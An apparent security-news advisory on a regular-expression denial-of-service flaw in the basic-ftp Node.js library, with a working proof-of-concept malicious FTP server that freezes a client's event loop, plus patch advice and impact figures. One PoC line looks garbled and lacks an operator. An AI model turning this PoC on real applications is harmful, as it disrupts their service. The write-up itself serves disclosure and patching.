Listen to this Post
CVE-2026-102990 is a high-severity denial-of-service vulnerability in basic-ftp, an FTP client library for Node.js. The flaw resides in the `parseListUnix.js` module, which parses Unix-style directory listings returned by FTP servers. The vulnerable regular expression `RE_LINE` contains two adjacent variable-length groups: `(\S+(?:\s\S+))` for the owner name, followed by `(\S+(?:\s\S+))` for the group name, and then a required numeric size group.
When a malicious FTP server returns a crafted directory listing line that begins with a valid Unix listing prefix (e.g., -rw-r--r-- 1), but the subsequent tokens can never satisfy the required size and date fields, the regular expression engine enters a state of catastrophic backtracking. It attempts every possible way to split the long sequence of space-separated tokens between the owner and group capture groups. For a line of length n, this results in roughly O(n²) matching operations.
Because the FTP server controls the directory listing content, it can send a single crafted line that pins the Node.js event loop for an extended period. The `parseList()` function selects the parser based on the last non-blank line of the listing, then applies it to every line. By placing a normal, valid Unix-style line at the end of the listing, the attacker ensures the Unix parser is selected, while an earlier crafted line triggers the quadratic backtracking.
A proof-of-concept demonstrates the severity: a 128 KB crafted listing line blocks the event loop for approximately 39.75 seconds, with zero heartbeats firing. The cost is quadratic—32 KB blocks for about 2.4 seconds, 64 KB for roughly 9.6 seconds. The default `maxListingBytes` is 40 MB, meaning a single line could block the process for tens of minutes or longer. This vulnerability freezes the entire process under default options through the primary `Client.list()` API.
DailyCVE Form:
Platform: Node.js FTP client
Version: < 6.2.1
Vulnerability: ReDoS backtracking
Severity: High
date: 2026-09-30
Prediction: 2026-08-28
What Undercode Say:
npm i basic-ftp && node repro.js
const net = require("net"), ftp = require("basic-ftp");
const KB = Number(process.env.LINE_KB || 128);
const payload = "-rw-r--r-- 1 " + "a ".repeat((KB 1024 - 13) / 2) + "!";
const listing = payload + "\r\n-rw-r--r-- 1 owner group 42 Jan 1 2020 file.txt\r\n";
const server = net.createServer(c => {
c.setEncoding("latin1"); c.write("220 ok\r\n"); let buf = "";
c.on("data", d => { buf += d; let i;
while ((i = buf.indexOf("\r\n")) !== -1) {
const cmd = buf.slice(0, i).toUpperCase(); buf = buf.slice(i + 2);
if (cmd.startsWith("USER")) c.write("331 .\r\n");
else if (cmd.startsWith("PASS")) c.write("230 .\r\n");
else if (cmd.startsWith("FEAT")) c.write("211-x\r\n UTF8\r\n211 End\r\n");
else if (cmd.startsWith("EPSV")) { const ds = net.createServer(s => { s.write(listing); s.end(); });
ds.listen(0, "127.0.0.1", () => c.write(<code>229 (|||${ds.address().port}|)\r\n</code>)); }
else if (cmd.startsWith("LIST")) { c.write("150 .\r\n"); setTimeout(() => c.write("226 .\r\n"), 50); }
else c.write("200 .\r\n"); } });
});
server.listen(0, "127.0.0.1", async () => {
const client = new ftp.Client(0);
await client.access({ host: "127.0.0.1", port: server.address().port, user: "x", password: "y" });
let beats = 0; const hb = setInterval(() => beats++, 1000); const t = Date.now();
await client.list(); clearInterval(hb);
console.log(<code>list() blocked ${(Date.now() - t) / 1000}s; heartbeats fired: ${beats}</code>);
process.exit(0);
});
Exploit: (Educational Purposes!)
An attacker operates a malicious or compromised FTP server. When a victim application using basic-ftp connects and calls Client.list(), the server responds with a directory listing that includes a crafted line designed to trigger catastrophic backtracking. The crafted line begins with a valid Unix listing prefix (-rw-r--r-- 1), followed by a long sequence of tokens that cannot be resolved into the required owner, group, size, and date fields. The attacker places a normal, valid Unix-style listing line at the end of the response to ensure the Unix parser is selected by parseList(). The victim’s Node.js event loop becomes blocked, freezing the entire application process. No authentication bypass or user interaction is required beyond the victim initiating an FTP connection to the malicious server.
Protection: from this CVE
Upgrade basic-ftp to version 6.2.1 or later, which modifies the regex used in the Unix parser to prevent the backtracking behavior that enables the denial-of-service. Users can upgrade via npm:
npm install [email protected]
As a defense-in-depth measure, applications should consider enforcing a reasonable `maxListingBytes` limit in the `Client` constructor to bound the total size of directory listings, and avoid connecting to untrusted FTP servers. Monitoring for unusually long parsing times in `Client.list()` can help detect exploitation attempts.
Impact:
A single malicious directory listing can freeze the entire Node.js process under default options through the primary `Client.list()` API. The event loop is blocked completely, causing all concurrent operations to stall. With the default `maxListingBytes` of 40 MB, a single crafted line can block the process for tens of minutes. The cost scales quadratically with line length: 32 KB blocks for approximately 2.4 seconds, 64 KB for about 9.6 seconds, and 128 KB for roughly 39 seconds. This vulnerability shares the same “malicious FTP server causes client-side denial of service” shape as GHSA-rp42-5vxx-qpwr, which was also in `Client.list()` and rated high. The byte cap added in the earlier fix bounds memory consumption, but not the CPU cost of the parser.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

